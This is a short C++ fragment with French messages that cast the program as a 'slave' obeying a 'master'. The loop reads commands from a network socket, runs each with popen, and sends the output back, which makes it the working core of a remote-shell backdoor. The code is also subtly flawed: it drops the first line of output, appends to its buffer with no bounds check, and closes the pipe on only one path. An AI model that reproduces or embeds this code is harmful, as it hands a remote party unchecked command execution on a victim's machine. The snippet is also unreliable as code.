while (strcmp(cmd, "exit")!=0) { if (recv(csock, cmd, TAILLECMD, 0)!=-1) { if (strcmp(cmd, "exit")==0) { cout << "\n\n Le Maître vient d'affranchir l'esclave\n\n" << endl; } else { cout << "\nLe Maître souhaite éxécuter la commande : " << cmd << endl; FILE *ptr; if ((ptr = popen(cmd, "r")) != NULL) { if (fgets(buf1, TAILLECMD, ptr) == NULL) { strcat(buf,no_stdout); } else { while (fgets(buf1, TAILLECMD, ptr) != NULL) { strcat(buf,buf1); } pclose(ptr); } } else { fprintf(stderr, "Erreur avec popen\n"); exit(1); } cout << "\nL'esclave retourne le résultat de la commande : " << cmd << endl; send(csock, buf, TAILLECMD, 0); memset (buf, 0, sizeof (buf)); cout << "\nL'esclave est en attente d'un ordre du Maître . . ." << endl; } } }